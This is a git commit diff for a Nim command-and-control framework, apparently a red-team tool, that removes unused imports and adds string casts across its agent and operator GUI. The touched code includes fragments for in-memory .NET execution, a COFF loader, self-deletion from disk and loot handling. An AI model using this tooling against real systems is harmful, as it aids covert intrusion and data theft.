Removed warnings and unused imports.

This commit is contained in:
Jakob Friedl
2025-10-31 16:59:10 +01:00
parent af3e7245cd
commit 77c8a321de
44 changed files with 138 additions and 193 deletions

View File

@@ -49,7 +49,7 @@ The following projects and people have significantly inspired and/or helped with
- [Cobalt Strike](https://www.cobaltstrike.com)
- [AdaptixC2](https://github.com/Adaptix-Framework/AdaptixC2/)
- Development:
- [imguin](https://github.com/dinau/imguin) by [dinau](github.com/dinau/) (ImGui Wrapper for Nim)
- [imguin](https://github.com/dinau/imguin) by [dinau](https://github.com/dinau/) (ImGui Wrapper for Nim)
- [MalDev Academy](https://maldevacademy.com/)
- [Creds](https://github.com/S3cur3Th1sSh1t/Creds) by [S3cur3Th1sSh1t](https://github.com/S3cur3Th1sSh1t/)
- [malware](https://github.com/m4ul3r/malware/) by [m4ul3r](https://github.com/m4ul3r/)

View File

@@ -1,7 +1,7 @@
import winim/[lean, clr]
import os, strformat, strutils, sequtils
import os
import ../utils/[hwbp, io]
import ../../common/[types, utils]
import ../../common/utils
#[
Executing .NET assemblies in memory

View File

@@ -449,7 +449,7 @@ proc generateCoffArguments*(args: seq[TaskArg]): seq[byte] =
prefix = Bytes.toString(arg.data)[0..3]
value = Bytes.toString(arg.data)[4..^1]
# Check the first two characters for a type specification
# Check the prefix for a type specification
case prefix:
of protect("[i]:"):
# Handle argument as integer
@@ -465,8 +465,7 @@ proc generateCoffArguments*(args: seq[TaskArg]): seq[byte] =
# Handle argument as wide string
# Add terminating NULL byte to the end of string arguments
let wStrData = cast[seq[byte]](+$value) # +$ converts a string to a wstring
packer.add(uint32(wStrData.len()))
packer.addData(wStrData)
packer.addDataWithLengthPrefix(wStrData)
else:
# In case no prefix is specified, handle the argument as a regular string
@@ -476,8 +475,7 @@ proc generateCoffArguments*(args: seq[TaskArg]): seq[byte] =
# Handle argument as regular string
# Add terminating NULL byte to the end of string arguments
let data = arg.data & @[uint8(0)]
packer.add(uint32(data.len()))
packer.addData(data)
packer.addDataWithLengthPrefix(data)
else:
# Argument is not passed as a string, but instead directly as a int or short

View File

@@ -1,4 +1,4 @@
import parsetoml, base64, system
import parsetoml, system
import ../utils/io
import ../../common/[types, utils, crypto, serialize]

View File

@@ -27,7 +27,7 @@ const
- https://maldevacademy.com/modules/72
]#
proc deleteSelfFromDisk*() =
let newStream = newWString(fmt":{uint(rand(RAND_MAX)):x}{uint(rand(RAND_MAX)):x}")
let newStream = +$(fmt":{uint(rand(RAND_MAX)):x}{uint(rand(RAND_MAX)):x}") # Convert to wString
var
szFileName: array[MAX_PATH * 2, WCHAR]
fileRenameInfo2: FILE_RENAME_INFO2

View File

@@ -1,4 +1,4 @@
import httpclient, json, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random
import httpclient, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random
import ../utils/io
import ../../common/[types, utils, profile]

View File

@@ -1,6 +1,6 @@
import winim/lean
import winim/inc/tlhelp32
import os, system, strformat, random
import os, system, random, strformat
import ../utils/[cfg, io]
import ../../common/[types, utils, crypto]

View File

@@ -1,5 +1,4 @@
import strformat, os, times, system, base64, random
import times, system, random, strformat
import core/[http, context, sleepmask, exit]
import utils/io
import protocol/[task, result, heartbeat, registration]

View File

@@ -1,5 +1,5 @@
import times, zippy
import ../../common/[types, serialize, sequence, utils, crypto]
import ../../common/[types, serialize, utils, crypto]
proc createHeartbeat*(ctx: AgentCtx): Heartbeat =
return Heartbeat(

View File

@@ -1,4 +1,4 @@
import winim, os, net, strformat, strutils, registry, zippy
import winim, os, net, strutils, registry, zippy
import ../../common/[types, serialize, sequence, crypto, utils]
import ../../modules/manager
@@ -51,7 +51,7 @@ proc getProcessExe(): string =
if GetModuleFileNameExW(hProcess, 0, buffer, MAX_PATH):
# .extractFilename() from the 'os' module gets the name of the executable from the full process path
# We replace trailing NULL bytes to prevent them from being sent as JSON data
return string($buffer).extractFilename().replace("\u0000", "")
return ($buffer).extractFilename().replace("\u0000", "")
finally:
CloseHandle(hProcess)

View File

@@ -1,5 +1,4 @@
import strutils, tables, json, strformat, zippy
import zippy, strformat
import ./result
import ../utils/io
import ../../modules/manager

View File

@@ -1,6 +1,5 @@
import winim/lean
import ./io
import ../../common/utils
# From: https://github.com/m4ul3r/malware/blob/main/nim/hardware_breakpoints/hardwarebreakpoints.nim

View File

@@ -1,7 +1,7 @@
import winim/lean
import macros
import strutils, strformat
import ../../common/[types, utils]
import ../../common/utils
const VERBOSE* {.booldefine.} = false

View File

@@ -1,5 +1,5 @@
import std/paths
import strutils, sequtils, times, tables
import strutils, sequtils, times
import ../../common/[types, sequence, crypto, utils, serialize]
proc parseInput*(input: string): seq[string] =

View File

@@ -1,6 +1,5 @@
import whisky
import times, tables, json, base64
import ../../common/[types, utils, serialize, event]
import times, json, base64
import ../../common/[types, utils, event]
export sendHeartbeat, recvEvent
#[

View File

@@ -1,5 +1,5 @@
import whisky
import tables, times, strutils, strformat, json, parsetoml, base64, os, native_dialogs
import tables, times, strutils, strformat, json, parsetoml, base64, native_dialogs
import ./utils/[appImGui, globals]
import ./views/[dockspace, sessions, listeners, eventlog, console]
import ./views/loot/[screenshots, downloads]

View File

@@ -6,8 +6,8 @@ import imguin/[cimgui, glfw_opengl, simple]
export cimgui, glfw_opengl, simple
import ./globals
import ./opengl/[zoomglass, loadImage]
export zoomglass, loadImage
import ./opengl/loadImage
export loadImage
import ./[saveImage, setupFonts, utils, vecs]
export saveImage, setupFonts, utils, vecs

View File

@@ -1,4 +1,4 @@
import imguin/[cimgui, glfw_opengl, simple]
import imguin/cimgui
import ../utils/appImGui
# https://rgbcolorpicker.com/0-1

View File

@@ -1,40 +0,0 @@
import imguin/[cimgui,simple]
import loadImage
import ../fonticon/IconsFontAwesome6
#--------------
#--- zoomGlass
#--------------
proc zoomGlass*(textureID: var uint32, itemWidth:int, itemPosTop, itemPosEnd:ImVec2 , capture = false, zoom: float = 4.0f) =
# itemPosTop and itemPosEnd are absolute position in main window.
if igBeginItemTooltip():
defer: igEndTooltip()
let itemHeight = itemPosEnd.y.int - itemPosTop.y.int
let my_tex_w = itemWidth.float
let my_tex_h = itemHeight.float
let wkSize = igGetMainViewport().Worksize
if capture:
loadTextureFromBuffer(textureID # TextureID
, itemPosTop.x.int # x start pos
, wkSize.y.int - itemPosEnd.y.int # y start pos
, itemWidth ,itemHeight) # Image width and height must be 2^n.
#igText("lbp: (%.2f, %.2f)", pio.MousePos.x, pio.MousePos.y)
let pio = igGetIO()
let region_sz = 32.0f
var region_x = pio.MousePos.x - itemPosTop.x - region_sz * 0.5f
var region_y = pio.MousePos.y - itemPosTop.y - region_sz * 0.5f
if region_x < 0.0f:
region_x = 0.0f
elif region_x > (my_tex_w - region_sz):
region_x = my_tex_w - region_sz
if region_y < 0.0f:
region_y = 0.0f
elif region_y > my_tex_h - region_sz:
region_y = my_tex_h - region_sz
let uv0 = ImVec2(x: (region_x) / my_tex_w, y: (region_y) / my_tex_h)
let uv1 = ImVec2(x: (region_x + region_sz) / my_tex_w, y: (region_y + region_sz) / my_tex_h)
let tint_col = ImVec4(x: 1.0f, y: 1.0f, z: 1.0f, w: 1.0f) #// No tint
let border_col = ImVec4(x: 0.22f, y: 0.56f, z: 0.22f, w: 1.0f) # Green
igText(ICON_FA_MAGNIFYING_GLASS & " 4 x")
let texRef = ImTextureRef(internal_TexData: nil, internal_TexID: textureID)
igImage(texRef, ImVec2(x: region_sz * zoom, y: region_sz * zoom), uv0, uv1) #, tint_col, border_col)

View File

@@ -1,5 +1,4 @@
import whisky
import strformat, strutils, times, json, tables, sequtils
import strformat, strutils, sequtils
import imguin/[cimgui, glfw_opengl, simple]
import ../utils/[appImGui, colors]
import ../../common/[types, utils]
@@ -34,9 +33,6 @@ proc Console*(agent: UIAgent): ConsoleComponent =
#[
Text input callback function for managing console history and autocompletion
]#
var currentCompletionIndex: int = -1
var lastMatches: seq[string] = @[]
proc callback(data: ptr ImGuiInputTextCallbackData): cint {.cdecl.} =
let component = cast[ConsoleComponent](data.UserData)
@@ -282,7 +278,7 @@ proc draw*(component: ConsoleComponent, connection: WsConnection) =
#[
Input field with prompt indicator
]#
igText(fmt"[{component.agent.agentId}]")
igText(fmt"[{component.agent.agentId}]".cstring)
igSameLine(0.0f, textSpacing)
# Calculate available width for input
@@ -290,9 +286,9 @@ proc draw*(component: ConsoleComponent, connection: WsConnection) =
igSetNextItemWidth(availableSize.x)
let inputFlags = ImGuiInputTextFlags_EnterReturnsTrue.int32 or ImGuiInputTextFlags_EscapeClearsAll.int32 or ImGuiInputTextFlags_CallbackHistory.int32 or ImGuiInputTextFlags_CallbackCompletion.int32
if igInputText("##Input", addr component.inputBuffer[0], MAX_INPUT_LENGTH, inputFlags, callback, cast[pointer](component)):
if igInputText("##Input", cast[cstring](addr component.inputBuffer[0]), MAX_INPUT_LENGTH, inputFlags, callback, cast[pointer](component)):
let command = ($(addr component.inputBuffer[0])).strip()
let command = ($cast[cstring]((addr component.inputBuffer[0]))).strip()
if not command.isEmptyOrWhitespace():
# Send command to team server
component.handleAgentCommand(connection, command)

View File

@@ -77,14 +77,14 @@ proc draw*(component: DockspaceComponent, showComponent: ptr bool, views: Table[
# Create a menu item to toggle each of the main views of the application
for view, showView in views:
if not view.startsWith("Loot:"):
if igMenuItem(view, nil, showView[], showView != nil):
if igMenuItem(view.cstring, nil, showView[], showView != nil):
showView[] = not showView[]
if igBeginMenu("Loot", true):
for view, showView in views:
if view.startsWith("Loot:"):
let itemName = view.split(":")[1]
if igMenuItem(itemName, nil, showView[], showView != nil):
if igMenuItem(itemName.cstring, nil, showView[], showView != nil):
showView[] = not showView[]
igEndMenu()

View File

@@ -1,8 +1,6 @@
import strformat, strutils, times
import imguin/[cimgui, glfw_opengl, simple]
import ../utils/[appImGui, colors]
import imguin/[cimgui, glfw_opengl]
import ./widgets/textarea
import ../../common/types
import ../utils/appImGui
export addItem
type
@@ -16,7 +14,7 @@ proc Eventlog*(title: string): EventlogComponent =
result.textarea = Textarea(showTimestamps = false)
proc draw*(component: EventlogComponent, showComponent: ptr bool) =
igBegin(component.title, showComponent, 0)
igBegin(component.title.cstring, showComponent, 0)
defer: igEnd()
component.textarea.draw(vec2(-1.0f, -1.0f))

View File

@@ -1,10 +1,9 @@
import whisky
import strutils
import imguin/[cimgui, glfw_opengl, simple]
import ../utils/appImGui
import ../../common/[types, utils]
import ./modals/[startListener, generatePayload]
import ../utils/appImGui
import ../core/websocket
import ../../common/types
type
ListenersTableComponent* = ref object of RootObj
@@ -23,7 +22,7 @@ proc ListenersTable*(title: string): ListenersTableComponent =
result.generatePayloadModal = AgentModal()
proc draw*(component: ListenersTableComponent, showComponent: ptr bool, connection: WsConnection) =
igBegin(component.title, showComponent, 0)
igBegin(component.title.cstring, showComponent, 0)
defer: igEnd()
let textSpacing = igGetStyle().ItemSpacing.x
@@ -87,17 +86,17 @@ proc draw*(component: ListenersTableComponent, showComponent: ptr bool, connecti
# Enable multi-select functionality
igSetNextItemSelectionUserData(i)
var isSelected = ImGuiSelectionBasicStorage_Contains(component.selection, cast[ImGuiID](i))
discard igSelectable_Bool(listener.listenerId, isSelected, ImGuiSelectableFlags_SpanAllColumns.int32, vec2(0.0f, 0.0f))
discard igSelectable_Bool(listener.listenerId.cstring, isSelected, ImGuiSelectableFlags_SpanAllColumns.int32, vec2(0.0f, 0.0f))
if igTableSetColumnIndex(1):
igText(listener.address)
igText(listener.address.cstring)
if igTableSetColumnIndex(2):
igText($listener.port)
igText(($listener.port).cstring)
if igTableSetColumnIndex(3):
for host in listener.hosts.split(";"):
igText(host)
igText(host.cstring)
if igTableSetColumnIndex(4):
igText($listener.protocol)
igText(($listener.protocol).cstring)
# Handle right-click context menu
# Right-clicking the table header to hide/show columns or reset the layout is only possible when no sessions are selected

View File

@@ -1,7 +1,7 @@
import strformat, strutils, times, os, tables, native_dialogs
import imguin/[cimgui, glfw_opengl, simple]
import ../../utils/[appImGui, colors]
import ../../../common/[types, utils]
import ../../utils/appImGui
import ../../../common/types
import ../../core/websocket
import ../widgets/textarea
@@ -23,12 +23,11 @@ proc LootDownloads*(title: string): DownloadsComponent =
result.textarea = Textarea(showTimestamps = false, autoScroll = false)
proc draw*(component: DownloadsComponent, showComponent: ptr bool, connection: WsConnection) =
igBegin(component.title, showComponent, 0)
igBegin(component.title.cstring, showComponent, 0)
defer: igEnd()
var availableSize: ImVec2
igGetContentRegionAvail(addr availableSize)
let textSpacing = igGetStyle().ItemSpacing.x
# Left panel (file table)
let childFlags = ImGui_ChildFlags_ResizeX.int32 or ImGui_ChildFlags_NavFlattened.int32
@@ -75,19 +74,19 @@ proc draw*(component: DownloadsComponent, showComponent: ptr bool, connection: W
igPopID()
if igTableSetColumnIndex(1):
igText(item.agentId)
igText(item.agentId.cstring)
if igTableSetColumnIndex(2):
igText(item.host.cstring)
if igTableSetColumnIndex(3):
igText(item.path.extractFilename().replace("C_", "C:/").replace("_", "/"))
igText(item.path.extractFilename().replace("C_", "C:/").replace("_", "/").cstring)
if igTableSetColumnIndex(4):
igText(item.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss"))
igText(item.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss").cstring)
if igTableSetColumnIndex(5):
igText($item.size)
igText(($item.size).cstring)
# Handle right-click context menu
if component.selectedIndex >= 0 and component.selectedIndex < component.items.len and igBeginPopupContextWindow("Downloads", ImGui_PopupFlags_MouseButtonRight.int32):
@@ -127,9 +126,9 @@ proc draw*(component: DownloadsComponent, showComponent: ptr bool, connection: W
component.contents[item.lootId] = "" # Ensure that the sendGetLoot() function is sent only once by setting a value for the table key
else:
igText(fmt("[{item.host}] "))
igText(fmt"[{item.host}] ".cstring)
igSameLine(0.0f, 0.0f)
igText(item.path.extractFilename().replace("C_", "C:/").replace("_", "/"))
igText(item.path.extractFilename().replace("C_", "C:/").replace("_", "/").cstring)
igDummy(vec2(0.0f, 5.0f))
igSeparator()

View File

@@ -1,6 +1,6 @@
import strformat, strutils, times, os, tables, native_dialogs
import times, tables, native_dialogs
import imguin/[cimgui, glfw_opengl, simple]
import ../../utils/[appImGui, colors]
import ../../utils/appImGui
import ../../../common/[types, utils]
import ../../core/websocket
@@ -35,12 +35,11 @@ proc addTexture*(component: ScreenshotsComponent, lootId: string, data: string)
)
proc draw*(component: ScreenshotsComponent, showComponent: ptr bool, connection: WsConnection) =
igBegin(component.title, showComponent, 0)
igBegin(component.title.cstring, showComponent, 0)
defer: igEnd()
var availableSize: ImVec2
igGetContentRegionAvail(addr availableSize)
let textSpacing = igGetStyle().ItemSpacing.x
# Left panel (file table)
let childFlags = ImGui_ChildFlags_ResizeX.int32 or ImGui_ChildFlags_NavFlattened.int32
@@ -85,16 +84,16 @@ proc draw*(component: ScreenshotsComponent, showComponent: ptr bool, connection:
igPopID()
if igTableSetColumnIndex(1):
igText(item.agentId)
igText(item.agentId.cstring)
if igTableSetColumnIndex(2):
igText(item.host.cstring)
if igTableSetColumnIndex(3):
igText(item.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss"))
igText(item.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss").cstring)
if igTableSetColumnIndex(4):
igText($item.size)
igText(($item.size).cstring)
# Handle right-click context menu
if component.selectedIndex >= 0 and component.selectedIndex < component.items.len and igBeginPopupContextWindow("Downloads", ImGui_PopupFlags_MouseButtonRight.int32):

View File

@@ -1,6 +1,6 @@
import strutils, sequtils, times
import imguin/[cimgui, glfw_opengl, simple]
import ../../utils/[appImGui, colors]
import times
import imguin/[cimgui, glfw_opengl]
import ../../utils/appImGui
type
KillDateModalComponent* = ref object of RootObj
@@ -75,7 +75,7 @@ proc draw*(component: KillDateModalComponent): int64 =
let charWidth = charSize.x + 10.0f
let dateText = component.killDateTime.S.fromUnix().utc().format("dd. MMMM yyyy") & '\0'
igInputText("##Text", dateText, dateText.len().csize_t, ImGui_InputTextFlags_ReadOnly.int32, nil, nil)
igInputText("##Text", dateText.cstring, dateText.len().csize_t, ImGui_InputTextFlags_ReadOnly.int32, nil, nil)
igSameLine(0.0f, textSpacing)
igPushItemWidth(charWidth)

View File

@@ -1,6 +1,5 @@
import strutils, sequtils, times
import imguin/[cimgui, glfw_opengl, simple]
import ../../utils/[appImGui, colors]
import imguin/[cimgui, glfw_opengl]
import ../../utils/appImGui
import ../../../common/types
type

View File

@@ -1,10 +1,10 @@
import strutils, strformat, sequtils, times
import imguin/[cimgui, glfw_opengl, simple]
import ../../utils/[appImGui, colors]
import ../../../common/[types, profile, utils]
import ../../../modules/manager
import imguin/[cimgui, glfw_opengl]
import ../widgets/[dualListSelection, textarea]
import ./[configureKillDate, configureWorkingHours]
import ../../utils/appImGui
import ../../../common/types
import ../../../modules/manager
export addItem
type
@@ -160,7 +160,7 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
igBeginDisabled(not component.killDateEnabled)
igGetContentRegionAvail(addr availableSize)
igSetNextItemWidth(availableSize.x)
if igButton(if component.killDate != 0: component.killDate.fromUnix().utc().format("dd. MMMM yyyy HH:mm:ss") & " UTC" else: "Configure##KillDate", vec2(-1.0f, 0.0f)):
if igButton((if component.killDate != 0: component.killDate.fromUnix().utc().format("dd. MMMM yyyy HH:mm:ss") & " UTC" else: "Configure##KillDate").cstring, vec2(-1.0f, 0.0f)):
igOpenPopup_str("Configure Kill Date", ImGui_PopupFlags_None.int32)
igEndDisabled()
@@ -179,7 +179,7 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
igSetNextItemWidth(availableSize.x)
let workingHoursLabel = fmt"{component.workingHours.startHour:02}:{component.workingHours.startMinute:02} - {component.workingHours.endHour:02}:{component.workingHours.endMinute:02}"
if igButton(if component.workingHours.enabled: workingHoursLabel else: "Configure##WorkingHours", vec2(-1.0f, 0.0f)):
if igButton((if component.workingHours.enabled: workingHoursLabel else: "Configure##WorkingHours").cstring, vec2(-1.0f, 0.0f)):
igOpenPopup_str("Configure Working Hours", ImGui_PopupFlags_None.int32)
igEndDisabled()

View File

@@ -1,5 +1,5 @@
import strutils
import imguin/[cimgui, glfw_opengl, simple]
import imguin/[cimgui, glfw_opengl]
import ../../utils/appImGui
import ../../../common/[types, utils]
@@ -65,7 +65,7 @@ proc draw*(component: ListenerModalComponent): UIListener =
igSameLine(0.0f, textSpacing)
igGetContentRegionAvail(addr availableSize)
igSetNextItemWidth(availableSize.x)
igInputTextWithHint("##InputAddressBind", "0.0.0.0", addr component.bindAddress[0], 256, ImGui_InputTextFlags_CharsNoBlank.int32, nil, nil)
igInputTextWithHint("##InputAddressBind", "0.0.0.0", cast[cstring](addr component.bindAddress[0]), 256, ImGui_InputTextFlags_CharsNoBlank.int32, nil, nil)
# Listener bindPort
let step: uint16 = 1
@@ -79,7 +79,7 @@ proc draw*(component: ListenerModalComponent): UIListener =
igSameLine(0.0f, textSpacing)
igGetContentRegionAvail(addr availableSize)
igSetNextItemWidth(availableSize.x)
igInputTextMultiline("##InputCallbackHosts", addr component.callbackHosts[0], 256 * 32, vec2(0.0f, 3.0f * igGetTextLineHeightWithSpacing()), ImGui_InputTextFlags_CharsNoBlank.int32, nil, nil)
igInputTextMultiline("##InputCallbackHosts", cast[cstring](addr component.callbackHosts[0]), 256 * 32, vec2(0.0f, 3.0f * igGetTextLineHeightWithSpacing()), ImGui_InputTextFlags_CharsNoBlank.int32, nil, nil)
igGetContentRegionAvail(addr availableSize)
@@ -88,15 +88,15 @@ proc draw*(component: ListenerModalComponent): UIListener =
igDummy(vec2(0.0f, 10.0f))
# Only enabled the start button when valid values have been entered
igBeginDisabled(($(addr component.bindAddress[0]) == "") or (component.bindPort <= 0))
igBeginDisabled(($cast[cstring]((addr component.bindAddress[0])) == "") or (component.bindPort <= 0))
if igButton("Start", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
# Process input values
var hosts: string = ""
let
callbackHosts = $(addr component.callbackHosts[0])
bindAddress = $(addr component.bindAddress[0])
callbackHosts = $cast[cstring]((addr component.callbackHosts[0]))
bindAddress = $cast[cstring]((addr component.bindAddress[0]))
bindPort = int(component.bindPort)
if callbackHosts.isEmptyOrWhitespace():

View File

@@ -5,7 +5,7 @@ import ./console
import ../core/[task, websocket]
import ../utils/[appImGui, colors]
import ../../modules/manager
import ../../common/[types, utils]
import ../../common/types
type
SessionsTableComponent* = ref object of RootObj
@@ -41,12 +41,12 @@ proc interact(component: SessionsTableComponent) =
# Focus the existing console window
else:
igSetWindowFocus_Str(fmt"[{agent.agentId}] {agent.username}@{agent.hostname}")
igSetWindowFocus_Str(fmt"[{agent.agentId}] {agent.username}@{agent.hostname}".cstring)
component.selection.ImGuiSelectionBasicStorage_Clear()
proc draw*(component: SessionsTableComponent, showComponent: ptr bool, connection: WsConnection) =
igBegin(component.title, showComponent, 0)
igBegin(component.title.cstring, showComponent, 0)
let textSpacing = igGetStyle().ItemSpacing.x
@@ -95,35 +95,43 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool, connectio
# Enable multi-select functionality
igSetNextItemSelectionUserData(row)
var isSelected = ImGuiSelectionBasicStorage_Contains(component.selection, cast[ImGuiID](row))
discard igSelectable_Bool(agent.agentId, isSelected, ImGuiSelectableFlags_SpanAllColumns.int32, vec2(0.0f, 0.0f))
# Highlight high integrity sessions in red
if agent.elevated:
igPushStyleColor_Vec4(ImGui_Col_Text.cint, CONSOLE_ERROR)
discard igSelectable_Bool(agent.agentId.cstring, isSelected, ImGuiSelectableFlags_SpanAllColumns.int32, vec2(0.0f, 0.0f))
if agent.elevated:
igPopStyleColor(1)
# Interact with session on double-click
if igIsMouseDoubleClicked_Nil(ImGui_MouseButton_Left.int32):
component.interact()
if igTableSetColumnIndex(1):
igText(agent.listenerId)
igText(agent.listenerId.cstring)
if igTableSetColumnIndex(2):
igText(agent.ipInternal)
igText(agent.ipInternal.cstring)
if igTableSetColumnIndex(3):
igText(agent.ipExternal)
igText(agent.ipExternal.cstring)
if igTableSetColumnIndex(4):
igText(agent.username)
igText(agent.username.cstring)
if component.agentImpersonation.hasKey(agent.agentId):
igSameLine(0.0f, textSpacing)
igText(fmt"[{component.agentImpersonation[agent.agentId]}]")
igText(fmt"[{component.agentImpersonation[agent.agentId]}]".cstring)
if igTableSetColumnIndex(5):
igText(agent.hostname)
igText(agent.hostname.cstring)
if igTableSetColumnIndex(6):
igText(agent.domain)
igText(agent.domain.cstring)
if igTableSetColumnIndex(7):
igText(agent.os)
igText(agent.os.cstring)
if igTableSetColumnIndex(8):
igText(agent.process)
igText(agent.process.cstring)
if igTableSetColumnIndex(9):
igText($agent.pid)
igText(($agent.pid).cstring)
if igTableSetColumnIndex(10):
let duration = now() - agent.firstCheckin.fromUnix().local()
let totalSeconds = duration.inSeconds
@@ -132,7 +140,7 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool, connectio
let minutes = (totalSeconds mod 3600) div 60
let seconds = totalSeconds mod 60
igText(fmt"{hours:02d}:{minutes:02d}:{seconds:02d} ago")
igText(fmt"{hours:02d}:{minutes:02d}:{seconds:02d} ago".cstring)
if igTableSetColumnIndex(11):
let duration = now() - component.agentActivity[agent.agentId].fromUnix().local()
@@ -144,9 +152,9 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool, connectio
let timeText = fmt"{hours:02d}:{minutes:02d}:{seconds:02d} ago"
if totalSeconds > agent.sleep:
igTextColored(GRAY, timeText)
igTextColored(GRAY, timeText.cstring)
else:
igText(timeText)
igText(timeText.cstring)
# Handle right-click context menu
# Right-clicking the table header to hide/show columns or reset the layout is only possible when no sessions are selected

View File

@@ -1,7 +1,6 @@
import strutils, sequtils, algorithm
import imguin/[cimgui, glfw_opengl, simple]
import ../../utils/[appImGui, colors, utils]
import ../../../common/[types, utils]
import sequtils, algorithm
import imguin/[cimgui, glfw_opengl]
import ../../utils/[appImGui, colors]
type
DualListSelectionWidget*[T] = ref object of RootObj
@@ -70,9 +69,9 @@ proc draw*[T](component: DualListSelectionWidget[T]) =
# Header
var text = "Available"
var textSize: ImVec2
igCalcTextSize(addr textSize, text, nil, false, 0.0f)
igCalcTextSize(addr textSize, text.cstring, nil, false, 0.0f)
igSetCursorPosX(igGetCursorPosX() + (igGetColumnWidth(0) - textSize.x) * 0.5f)
igTextColored(GRAY, text)
igTextColored(GRAY, text.cstring)
# Set the size of selection box to fit all modules
igSetNextWindowContentSize(vec2(0.0f, float(modules.len()) * igGetTextLineHeightWithSpacing()))
@@ -86,7 +85,7 @@ proc draw*[T](component: DualListSelectionWidget[T]) =
for row in 0 ..< modules.len().int32:
var isSelected = ImGuiSelectionBasicStorage_Contains(selection, cast[ImGuiID](row))
igSetNextItemSelectionUserData(row)
discard igSelectable_Bool(component.display(modules[row]), isSelected, ImGuiSelectableFlags_AllowDoubleClick.int32, vec2(0.0f, 0.0f))
discard igSelectable_Bool(component.display(modules[row]).cstring, isSelected, ImGuiSelectableFlags_AllowDoubleClick.int32, vec2(0.0f, 0.0f))
if not component.tooltip.isNil():
setTooltip(component.tooltip(modules[row]))
@@ -125,9 +124,9 @@ proc draw*[T](component: DualListSelectionWidget[T]) =
# Header
text = "Selected"
igCalcTextSize(addr textSize, text, nil, false, 0.0f)
igCalcTextSize(addr textSize, text.cstring, nil, false, 0.0f)
igSetCursorPosX(igGetCursorPosX() + (igGetColumnWidth(2) - textSize.x) * 0.5f)
igTextColored(GRAY, text)
igTextColored(GRAY, text.cstring)
# Set the size of selection box to fit all modules
igSetNextWindowContentSize(vec2(0.0f, float(modules.len()) * igGetTextLineHeightWithSpacing()))
@@ -139,7 +138,7 @@ proc draw*[T](component: DualListSelectionWidget[T]) =
for row in 0 ..< modules.len().int32:
var isSelected = ImGuiSelectionBasicStorage_Contains(selection, cast[ImGuiID](row))
igSetNextItemSelectionUserData(row)
discard igSelectable_Bool(component.display(modules[row]), isSelected, ImGuiSelectableFlags_AllowDoubleClick.int32, vec2(0.0f, 0.0f))
discard igSelectable_Bool(component.display(modules[row]).cstring, isSelected, ImGuiSelectableFlags_AllowDoubleClick.int32, vec2(0.0f, 0.0f))
if not component.tooltip.isNil():
setTooltip(component.tooltip(modules[row]))

View File

@@ -1,7 +1,7 @@
import strutils, sequtils, algorithm, times
import imguin/[cimgui, glfw_opengl, simple]
import ../../utils/[appImGui, colors, utils]
import ../../../common/[types, utils]
import strutils, times
import imguin/[cimgui, glfw_opengl]
import ../../utils/[appImGui, colors]
import ../../../common/types
type
TextareaWidget* = ref object of RootObj
@@ -14,9 +14,9 @@ type
# Text highlighting
proc getText(item: ConsoleItem): cstring =
if item.itemType != LOG_OUTPUT:
return "[" & item.timestamp & "]" & $item.itemType & item.text
return ("[" & item.timestamp & "]" & $item.itemType & item.text).cstring
else:
return $item.itemType & item.text
return ($item.itemType & item.text).cstring
proc getNumLines(data: pointer): csize_t {.cdecl.} =
if data.isNil:
@@ -63,22 +63,22 @@ proc isEmpty*(component: TextareaWidget): bool =
# Drawing
proc print(component: TextareaWidget, item: ConsoleItem) =
if item.itemType != LOG_OUTPUT and component.showTimestamps:
igTextColored(GRAY, "[" & item.timestamp & "]", nil)
igTextColored(GRAY, ("[" & item.timestamp & "]").cstring, nil)
igSameLine(0.0f, 0.0f)
case item.itemType:
of LOG_INFO, LOG_INFO_SHORT:
igTextColored(CONSOLE_INFO, $item.itemType)
igTextColored(CONSOLE_INFO, ($item.itemType).cstring)
of LOG_ERROR, LOG_ERROR_SHORT:
igTextColored(CONSOLE_ERROR, $item.itemType)
igTextColored(CONSOLE_ERROR, ($item.itemType).cstring)
of LOG_SUCCESS, LOG_SUCCESS_SHORT:
igTextColored(CONSOLE_SUCCESS, $item.itemType)
igTextColored(CONSOLE_SUCCESS, ($item.itemType).cstring)
of LOG_WARNING, LOG_WARNING_SHORT:
igTextColored(CONSOLE_WARNING, $item.itemType)
igTextColored(CONSOLE_WARNING, ($item.itemType).cstring)
of LOG_COMMAND:
igTextColored(CONSOLE_COMMAND, $item.itemType)
igTextColored(CONSOLE_COMMAND, ($item.itemType).cstring)
of LOG_OUTPUT:
igTextColored(vec4(0.0f, 0.0f, 0.0f, 0.0f), $item.itemType)
igTextColored(vec4(0.0f, 0.0f, 0.0f, 0.0f), ($item.itemType).cstring)
igSameLine(0.0f, 0.0f)
igTextUnformatted(item.text.cstring, nil)

View File

@@ -29,11 +29,11 @@ when not defined(agent):
when defined(agent):
import osproc, strutils, strformat
import strformat
import ../agent/core/coff
import ../agent/utils/io
import ../agent/protocol/result
import ../common/[utils, serialize]
import ../common/serialize
proc executeBof(ctx: AgentCtx, task: Task): TaskResult =
try:

View File

@@ -29,11 +29,11 @@ when not defined(agent):
when defined(agent):
import strutils, strformat
import strformat
import ../agent/core/clr
import ../agent/utils/io
import ../agent/protocol/result
import ../common/[utils, serialize]
import ../common/serialize
proc executeAssembly(ctx: AgentCtx, task: Task): TaskResult =
try:

View File

@@ -34,11 +34,10 @@ when not defined(agent):
when defined(agent):
import strutils, strformat
import strutils
import ../agent/utils/io
import ../agent/core/exit
import ../agent/protocol/result
import ../common/[utils, serialize]
proc executeExit(ctx: AgentCtx, task: Task): TaskResult =
try:

View File

@@ -100,10 +100,9 @@ when not defined(agent):
when defined(agent):
import os, strutils, strformat, times, algorithm, winim
import strutils, strformat, algorithm, winim
import ../agent/utils/io
import ../agent/protocol/result
import ../common/utils
# Retrieve current working directory
proc executePwd(ctx: AgentCtx, task: Task): TaskResult =
@@ -173,7 +172,7 @@ when defined(agent):
# Prepare search pattern (target directory + \*)
let searchPattern = targetDirectory & "\\*"
let searchPatternW = newWString(searchPattern)
let searchPatternW = +$searchPattern
var
findData: WIN32_FIND_DATAW

View File

